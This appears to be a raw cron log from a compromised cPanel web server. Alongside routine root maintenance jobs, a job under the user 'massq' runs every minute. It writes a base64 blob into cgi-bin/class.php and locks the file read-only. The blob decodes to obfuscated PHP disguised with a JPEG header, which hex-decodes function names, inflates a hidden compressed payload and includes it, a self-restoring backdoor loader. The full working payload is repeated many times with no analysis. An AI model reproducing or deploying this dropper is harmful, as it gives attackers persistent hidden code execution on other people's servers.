Nov  9 12:48:01 server CROND[27569]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:49:01 server CROND[28248]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:50:01 server CROND[29071]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 12:50:01 server CROND[29072]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 12:50:01 server CROND[29076]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:50:01 server CROND[29077]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 12:50:01 server CROND[29078]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:51:01 server CROND[29946]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:52:01 server CROND[30721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:53:01 server CROND[31476]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:54:01 server CROND[32278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:55:01 server CROND[741]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:55:01 server CROND[742]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 12:55:01 server CROND[743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 12:56:01 server CROND[1614]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:57:01 server CROND[2577]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:57:01 server CROND[2578]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 12:58:01 server CROND[3496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 12:59:01 server CROND[4182]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:00:01 server CROND[5050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:00:01 server CROND[5052]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 13:00:01 server CROND[5053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 13:00:01 server CROND[5054]: (root) CMD (/usr/lib64/sa/sa1 1 1)
